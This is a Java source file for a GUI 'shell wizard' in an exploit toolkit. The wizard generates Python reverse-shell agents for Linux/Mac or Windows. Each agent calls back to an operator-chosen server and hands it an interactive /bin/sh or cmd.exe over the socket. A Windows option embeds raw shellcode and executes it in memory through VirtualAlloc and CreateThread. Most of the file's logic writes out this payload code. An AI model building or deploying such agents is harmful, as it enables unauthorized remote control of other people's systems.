package exploitpack;

import java.awt.Color;
import java.awt.Toolkit;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.net.Inet4Address;
import java.net.UnknownHostException;
import java.util.logging.Level;
import java.util.logging.Logger;

/**
 *
 * @author jsacco
 */
public class ShellWizard extends javax.swing.JFrame {

    /**
     * Creates new form ratWizard
     */
    public ShellWizard() {
        try {
            initComponents();
            int lebar = this.getWidth() / 2;
            int tinggi = this.getHeight() / 2;
            int x = (Toolkit.getDefaultToolkit().getScreenSize().width / 2) - lebar;
            int y = (Toolkit.getDefaultToolkit().getScreenSize().height / 2) - tinggi;
            this.setLocation(x, y);
            this.setVisible(true);

            setDefaultCloseOperation(ExploitWizard.DISPOSE_ON_CLOSE);
            getContentPane().setBackground(Color.WHITE);
            setIconImage(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/bug.png")));
            jTextFieldRatIP.setText(Inet4Address.getLocalHost().getHostAddress());

            if (new File("exploits/rockyou").exists()) {
                jLabel1.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/uppro.png"))); // NOI18N
            }

        } catch (UnknownHostException ex) {
            Logger.getLogger(ShellWizard.class.getName()).log(Level.SEVERE, null, ex);
        }
    }

    /**
     * This method is called from within the constructor to initialize the form.
     * WARNING: Do NOT modify this code. The content of this method is always
     * regenerated by the Form Editor.
     */
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
    private void initComponents() {

        jTextField3 = new javax.swing.JTextField();
        jTextField5 = new javax.swing.JTextField();
        jLabel1 = new javax.swing.JLabel();
        jSeparator1 = new javax.swing.JSeparator();
        jButton1 = new javax.swing.JButton();
        jButton2 = new javax.swing.JButton();
        jButton3 = new javax.swing.JButton();
        jLabel2 = new javax.swing.JLabel();
        jLabel3 = new javax.swing.JLabel();
        jLabel4 = new javax.swing.JLabel();
        jLabel5 = new javax.swing.JLabel();
        jLabel6 = new javax.swing.JLabel();
        jLabel7 = new javax.swing.JLabel();
        jLabel8 = new javax.swing.JLabel();
        jCheckBoxShellcode = new javax.swing.JCheckBox();
        jLabel9 = new javax.swing.JLabel();
        jLabel10 = new javax.swing.JLabel();
        jTextFieldRatName = new javax.swing.JTextField();
        jTextFieldRatIP = new javax.swing.JTextField();
        jTextFieldRatPort = new javax.swing.JTextField();
        jRadioButtonLinuxMac = new javax.swing.JRadioButton();
        jRadioButtonWindows = new javax.swing.JRadioButton();

        jTextField3.setText("jTextField1");

        jTextField5.setText("jTextField1");

        setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
        setTitle("Exploit Pack - Reverse Shell");
        setResizable(false);

        jLabel1.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/up.png"))); // NOI18N

        jButton1.setText("Cancel");
        jButton1.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton1ActionPerformed(evt);
            }
        });

        jButton2.setText("Next");
        jButton2.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton2ActionPerformed(evt);
            }
        });

        jButton3.setText("Back");
        jButton3.setEnabled(false);

        jLabel2.setText("<html>This shell wizard helps you create a personalized agent to use within Exploit Pack.  <br>The created script could include a custom shellcode<br> and it can be converted into an executable file.</html>");

        jLabel3.setText("Shell Name:");

        jLabel4.setText("Platform:");

        jLabel5.setText("Server IP:");

        jLabel6.setText("Server Port:");

        jLabel7.setText("Include Shellcode:");

        jLabel8.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1424526168_Shell-run-icon.png"))); // NOI18N

        jCheckBoxShellcode.setText("ByteArray Mode");

        jLabel9.setText("(Only Windows)");
        jLabel9.setEnabled(false);

        jLabel10.setText("<html>A remote reverse shell tool (a RSHELL) is a piece of software that allows a remote<br> \"operator\" to control a system as if he has physical access directly on it.</html>");

        jTextFieldRatName.setText("File Name");

        jTextFieldRatIP.setText("127.0.0.1");

        jTextFieldRatPort.setText("1234");

        jRadioButtonLinuxMac.setSelected(true);
        jRadioButtonLinuxMac.setText("Linux / Mac");
        jRadioButtonLinuxMac.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jRadioButtonLinuxMacActionPerformed(evt);
            }
        });

        jRadioButtonWindows.setText("Windows");
        jRadioButtonWindows.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jRadioButtonWindowsMouseClicked(evt);
            }
        });

        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
        getContentPane().setLayout(layout);
        layout.setHorizontalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addComponent(jSeparator1)
            .addGroup(layout.createSequentialGroup()
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
                        .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                        .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
                                .addComponent(jButton3)
                                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                                .addComponent(jButton2)
                                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                                .addComponent(jButton1))
                            .addComponent(jLabel1, javax.swing.GroupLayout.Alignment.TRAILING)))
                    .addGroup(layout.createSequentialGroup()
                        .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
                            .addGroup(layout.createSequentialGroup()
                                .addGap(33, 33, 33)
                                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                                    .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
                                        .addComponent(jLabel9)
                                        .addGroup(javax.swing.GroupLayout.Alignment.LEADING, layout.createSequentialGroup()
                                            .addComponent(jLabel7)
                                            .addGap(18, 18, 18)
                                            .addComponent(jCheckBoxShellcode)))
                                    .addGroup(layout.createSequentialGroup()
                                        .addComponent(jLabel6)
                                        .addGap(18, 18, 18)
                                        .addComponent(jTextFieldRatPort, javax.swing.GroupLayout.PREFERRED_SIZE, 66, javax.swing.GroupLayout.PREFERRED_SIZE))
                                    .addGroup(layout.createSequentialGroup()
                                        .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                                            .addComponent(jLabel4)
                                            .addComponent(jLabel5))
                                        .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                                            .addGroup(layout.createSequentialGroup()
                                                .addGap(36, 36, 36)
                                                .addComponent(jRadioButtonLinuxMac)
                                                .addGap(18, 18, 18)
                                                .addComponent(jRadioButtonWindows))
                                            .addGroup(layout.createSequentialGroup()
                                                .addGap(35, 35, 35)
                                                .addComponent(jTextFieldRatIP, javax.swing.GroupLayout.PREFERRED_SIZE, 190, javax.swing.GroupLayout.PREFERRED_SIZE))))
                                    .addGroup(layout.createSequentialGroup()
                                        .addComponent(jLabel3)
                                        .addGap(18, 18, 18)
                                        .addComponent(jTextFieldRatName, javax.swing.GroupLayout.PREFERRED_SIZE, 232, javax.swing.GroupLayout.PREFERRED_SIZE)))
                                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                                .addComponent(jLabel8)
                                .addGap(24, 24, 24))
                            .addGroup(layout.createSequentialGroup()
                                .addGap(21, 21, 21)
                                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                                    .addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                                    .addComponent(jLabel10, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))))
                        .addGap(0, 0, Short.MAX_VALUE)))
                .addContainerGap())
        );
        layout.setVerticalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addGap(0, 0, 0)
                .addComponent(jLabel1)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addComponent(jLabel2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addGap(35, 35, 35)
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jLabel3)
                    .addComponent(jTextFieldRatName, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                .addGap(18, 18, 18)
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jLabel4)
                    .addComponent(jRadioButtonLinuxMac)
                    .addComponent(jRadioButtonWindows))
                .addGap(16, 16, 16)
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jTextFieldRatIP, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jLabel5))
                .addGap(13, 13, 13)
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jTextFieldRatPort, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jLabel6))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addGroup(layout.createSequentialGroup()
                        .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                            .addComponent(jLabel7)
                            .addComponent(jCheckBoxShellcode))
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jLabel9)
                        .addGap(18, 18, Short.MAX_VALUE)
                        .addComponent(jLabel10, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                        .addComponent(jSeparator1, javax.swing.GroupLayout.PREFERRED_SIZE, 10, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                            .addComponent(jButton1)
                            .addComponent(jButton2)
                            .addComponent(jButton3)))
                    .addGroup(layout.createSequentialGroup()
                        .addComponent(jLabel8)
                        .addGap(0, 120, Short.MAX_VALUE)))
                .addContainerGap())
        );

        jLabel2.getAccessibleContext().setAccessibleName("<html>This shell wizard helps you create your  personalized agent to use with Exploit Pack.  <br>The created script, if needed, could include also a custom shellcode<br> and converted into an executable file.</html>");

        pack();
        setLocationRelativeTo(null);
    }// </editor-fold>//GEN-END:initComponents

    private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton1ActionPerformed
        // TODO add your handling code here:
        dispose();
    }//GEN-LAST:event_jButton1ActionPerformed

    private void jRadioButtonWindowsMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jRadioButtonWindowsMouseClicked
        // TODO add your handling code here:
        jRadioButtonLinuxMac.setSelected(false);
    }//GEN-LAST:event_jRadioButtonWindowsMouseClicked

    private void jRadioButtonLinuxMacActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jRadioButtonLinuxMacActionPerformed
        // TODO add your handling code here:
        jRadioButtonWindows.setSelected(false);
    }//GEN-LAST:event_jRadioButtonLinuxMacActionPerformed

    private void jButton2ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton2ActionPerformed
        // TODO add your handling code here:
        try {
            // Create file 
            FileWriter fstream = new FileWriter("output/" + jTextFieldRatName.getText() + ".py");
            BufferedWriter out = new BufferedWriter(fstream);
            if (jRadioButtonLinuxMac.isSelected()) {
                out.append("# Shell Script created using Exploit Pack\r\n");
                out.append("# http://www.exploitpack.com - support@exploitpack.com\r\n");
                out.append("import socket,subprocess,errno,time,os,signal,sys\r\n\r\n");
                out.append("class Agent:\r\n");
                out.append("    def __init__(self, target, port):\r\n");
                out.append("        self.hostname = target\r\n");
                out.append("        self.port = int(port)\r\n");
                out.append("    def run_worker(self):\r\n");
                out.append("        while True:\r\n");
                out.append("            try:\r\n");
                out.append("                print \"[*] Poking server\"\r\n");
                out.append("                self.poke()\r\n");
                out.append("            except Exception,exc:\r\n");
                out.append("                  time.sleep(2)\r\n");
                out.append("            else:\r\n");
                out.append("                print \"[*] Hello Server\"\r\n");
                out.append("        else:\r\n");
                out.append("            raise\r\n");
                out.append("    def poke(self):\r\n");
                out.append("        whoami = ([(checkip.connect(('8.8.8.8', 80)), checkip.getsockname()[0], checkip.close()) for checkip in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1])\r\n");
                out.append("        time.sleep(1)\r\n");
                out.append("        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n");
                out.append("        s.connect((self.hostname, self.port))\r\n");
                out.append("        s.sendall(whoami)\r\n");
                out.append("        data = s.recv(1024)\r\n");
                out.append("        split = data.split(\":\")\r\n");
                out.append("        if whoami == split[0]:\r\n");
                out.append("            print \"[*] Connecting\"\r\n");
                out.append("            sterminal = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n");
                out.append("            sterminal.connect((split[1], int(split[2])))\r\n");
                out.append("            os.dup2(sterminal.fileno(), 0)\r\n");
                out.append("            os.dup2(sterminal.fileno(), 1)\r\n");
                out.append("            os.dup2(sterminal.fileno(), 2)\r\n");
                out.append("            subprocess.call([\"/bin/sh\", \"-i\"])\r\n");
                out.append("        s.close()\r\n");
                out.append("hostname = \"" + jTextFieldRatIP.getText() + "\"\r\n");
                out.append("port = \"" + jTextFieldRatPort.getText() + "\"\r\n");
                out.append("new = Agent(hostname, port)\r\n");
                out.append("new.run_worker()\r\n");
            } else {
                out.append("# Shell Script created using Exploit Pack\r\n");
                out.append("# http://www.exploitpack.com - support@exploitpack.com\r\n");
                out.append("import socket,subprocess,errno,time,os,signal,sys\r\n\r\n");
                out.append("class Agent:\r\n");
                out.append("    def __init__(self, target, port):\r\n");
                out.append("        self.hostname = target\r\n");
                out.append("        self.port = int(port)\r\n");
                out.append("    def run_worker(self):\r\n");
                out.append("        while True:\r\n");
                out.append("            try:\r\n");
                out.append("                print \"[*] Poking server\"\r\n");
                out.append("                self.poke()\r\n");
                out.append("            except Exception,exc:\r\n");
                out.append("                  time.sleep(2)\r\n");
                out.append("            else:\r\n");
                out.append("                print \"[*] Hello Server\"\r\n");
                out.append("        else:\r\n");
                out.append("            raise\r\n");
                out.append("    def poke(self):\r\n");
                out.append("        whoami = ([(checkip.connect(('8.8.8.8', 80)), checkip.getsockname()[0], checkip.close()) for checkip in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1])\r\n");
                out.append("        time.sleep(1)\r\n");
                out.append("        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n");
                out.append("        s.connect((self.hostname, self.port))\r\n");
                out.append("        s.sendall(whoami)\r\n");
                out.append("        data = s.recv(1024)\r\n");
                out.append("        split = data.split(\":\")\r\n");
                out.append("        if whoami == split[0]:\r\n");
                out.append("            print \"[*] Connecting\"\r\n");
                out.append("            sterminal = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n");
                out.append("            sterminal.connect((split[1], int(split[2])))\r\n");
                out.append("            os.dup2(sterminal.fileno(), 0)\r\n");
                out.append("            os.dup2(sterminal.fileno(), 1)\r\n");
                out.append("            os.dup2(sterminal.fileno(), 2)\r\n");
                out.append("            subprocess.call([\"cmd /c start cmd.exe\", \"-i\"])\r\n");
                out.append("        s.close()\r\n");
                out.append("hostname = \"" + jTextFieldRatIP.getText() + "\"\r\n");
                out.append("port = \"" + jTextFieldRatPort.getText() + "\"\r\n");
                out.append("new = Agent(hostname, port)\r\n");
                out.append("new.run_worker()\r\n");
                if (jCheckBoxShellcode.isSelected()) {
                    out.append("# Shell Script created using Exploit Pack\r\n");
                    out.append("# http://www.exploitpack.com - support@exploitpack.com\r\n");
                    out.append("import socket,subprocess,errno,time,os,signal,sys,ctypes\r\n\r\n");
                    out.append("class Agent:\r\n");
                    out.append("    def __init__(self, target, port):\r\n");
                    out.append("        self.hostname = target\r\n");
                    out.append("        self.port = int(port)\r\n");
                    out.append("    def run_worker(self):\r\n");
                    out.append("        self.shellcode()\r\n");
                    out.append("        while True:\r\n");
                    out.append("            try:\r\n");
                    out.append("                print \"[*] Poking server\"\r\n");
                    out.append("                self.poke()\r\n");
                    out.append("            except Exception,exc:\r\n");
                    out.append("                  time.sleep(2)\r\n");
                    out.append("            else:\r\n");
                    out.append("                print \"[*] Hello Server\"\r\n");
                    out.append("        else:\r\n");
                    out.append("            raise\r\n");
                    out.append("    def poke(self):\r\n");
                    out.append("        whoami = ([(checkip.connect(('8.8.8.8', 80)), checkip.getsockname()[0], checkip.close()) for checkip in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1])\r\n");
                    out.append("        time.sleep(1)\r\n");
                    out.append("        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n");
                    out.append("        s.connect((self.hostname, self.port))\r\n");
                    out.append("        s.sendall(whoami)\r\n");
                    out.append("        data = s.recv(1024)\r\n");
                    out.append("        split = data.split(\":\")\r\n");
                    out.append("        if whoami == split[0]:\r\n");
                    out.append("            print \"[*] Connecting\"\r\n");
                    out.append("            sterminal = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n");
                    out.append("            sterminal.connect((self.hostname, int(split[1])))\r\n");
                    out.append("            os.dup2(sterminal.fileno(), 0)\r\n");
                    out.append("            os.dup2(sterminal.fileno(), 1)\r\n");
                    out.append("            os.dup2(sterminal.fileno(), 2)\r\n");
                    out.append("            subprocess.call([\"cmd /c start cmd.exe\", \"-i\"])\r\n");
                    out.append("        s.close()\r\n");
                    out.append("    def shellcode(self):\r\n");
                    out.append("        print \"[*] Executing Shellcode\"\r\n");
                    String Shellcode = "\\xFC\\x33\\xD2\\xB2\\x30\\x64\\xFF\\x32\\x5A\\x8B\\x52\\x0C\\x8B\\x52\\x14\\x8B\\x72\\x28\\x33\\xC9\\xB1\\x18\\x33\\xFF\\x33\\xC0\\xAC\\x3C\\x61\\x7C\\x02\\x2C\\x20\\xC1\\xCF\\x0D\\x03\\xF8\\xE2\\xF0\\x81\\xFF\\x5B\\xBC\\x4A\\x6A\\x8B\\x5A\\x10\\x8B\\x12\\x75\\xDA\\x8B\\x53\\x3C\\x03\\xD3\\xFF\\x72\\x34\\x8B\\x52\\x78\\x03\\xD3\\x8B\\x72\\x20\\x03\\xF3\\x33\\xC9\\x41\\xAD\\x03\\xC3\\x81\\x38\\x47\\x65\\x74\\x50\\x75\\xF4\\x81\\x78\\x04\\x72\\x6F\\x63\\x41\\x75\\xEB\\x81\\x78\\x08\\x64\\x64\\x72\\x65\\x75\\xE2\\x49\\x8B\\x72\\x24\\x03\\xF3\\x66\\x8B\\x0C\\x4E\\x8B\\x72\\x1C\\x03\\xF3\\x8B\\x14\\x8E\\x03\\xD3\\x52\\x68\\x78\\x65\\x63\\x01\\xFE\\x4C\\x24\\x03\\x68\\x57\\x69\\x6E\\x45\\x54\\x53\\xFF\\xD2\\x68\\x63\\x6D\\x64\\x01\\xFE\\x4C\\x24\\x03\\x6A\\x05\\x33\\xC9\\x8D\\x4C\\x24\\x04\\x51\\xFF\\xD0\\x68\\x65\\x73\\x73\\x01\\x8B\\xDF\\xFE\\x4C\\x24\\x03\\x68\\x50\\x72\\x6F\\x63\\x68\\x45\\x78\\x69\\x74\\x54\\xFF\\x74\\x24\\x20\\xFF\\x54\\x24\\x20\\x57\\xFF\\xD0";
                    out.append("        shellcode = bytearray(\"" + Shellcode + "\")\r\n");
                    out.append("	      ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))\r\n");
                    out.append("	      buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)\r\n");
                    out.append("	      ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode)))\r\n");
                    out.append("	      ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr),ctypes.c_int(0),ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))\r\n");
                    out.append("	      ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))\r\n");
                    out.append("hostname = \"" + jTextFieldRatIP.getText() + "\"\r\n");
                    out.append("port = \"" + jTextFieldRatPort.getText() + "\"\r\n");
                    out.append("new = Agent(hostname, port)\r\n");
                    out.append("new.run_worker()\r\n");
                }
            }

            //Close the output stream
            out.close();
        } catch (IOException e1) {
            System.err.println("Error: " + e1.getMessage());
        }
        String rat[] = {jTextFieldRatName.getText()};
        dispose();
        ShellWizard2.main(rat);
    }//GEN-LAST:event_jButton2ActionPerformed

    /**
     * @param args the command line arguments
     */
    public static void main(String args[]) {
        /* Set the Nimbus look and feel */
        //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
        /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
         * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html 
         */
        try {
            for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
                if ("Nimbus".equals(info.getName())) {
                    javax.swing.UIManager.setLookAndFeel(info.getClassName());
                    break;
                }
            }
        } catch (ClassNotFoundException ex) {
            java.util.logging.Logger.getLogger(ShellWizard.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
        } catch (InstantiationException ex) {
            java.util.logging.Logger.getLogger(ShellWizard.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
        } catch (IllegalAccessException ex) {
            java.util.logging.Logger.getLogger(ShellWizard.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
        } catch (javax.swing.UnsupportedLookAndFeelException ex) {
            java.util.logging.Logger.getLogger(ShellWizard.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
        }
        //</editor-fold>
        //</editor-fold>

        /* Create and display the form */
        java.awt.EventQueue.invokeLater(new Runnable() {
            public void run() {
                new ShellWizard().setVisible(true);
            }
        });
    }

    // Variables declaration - do not modify//GEN-BEGIN:variables
    private javax.swing.JButton jButton1;
    private javax.swing.JButton jButton2;
    private javax.swing.JButton jButton3;
    private javax.swing.JCheckBox jCheckBoxShellcode;
    private javax.swing.JLabel jLabel1;
    private javax.swing.JLabel jLabel10;
    private javax.swing.JLabel jLabel2;
    private javax.swing.JLabel jLabel3;
    private javax.swing.JLabel jLabel4;
    private javax.swing.JLabel jLabel5;
    private javax.swing.JLabel jLabel6;
    private javax.swing.JLabel jLabel7;
    private javax.swing.JLabel jLabel8;
    private javax.swing.JLabel jLabel9;
    private javax.swing.JRadioButton jRadioButtonLinuxMac;
    private javax.swing.JRadioButton jRadioButtonWindows;
    private javax.swing.JSeparator jSeparator1;
    private javax.swing.JTextField jTextField3;
    private javax.swing.JTextField jTextField5;
    private javax.swing.JTextField jTextFieldRatIP;
    private javax.swing.JTextField jTextFieldRatName;
    private javax.swing.JTextField jTextFieldRatPort;
    // End of variables declaration//GEN-END:variables
}
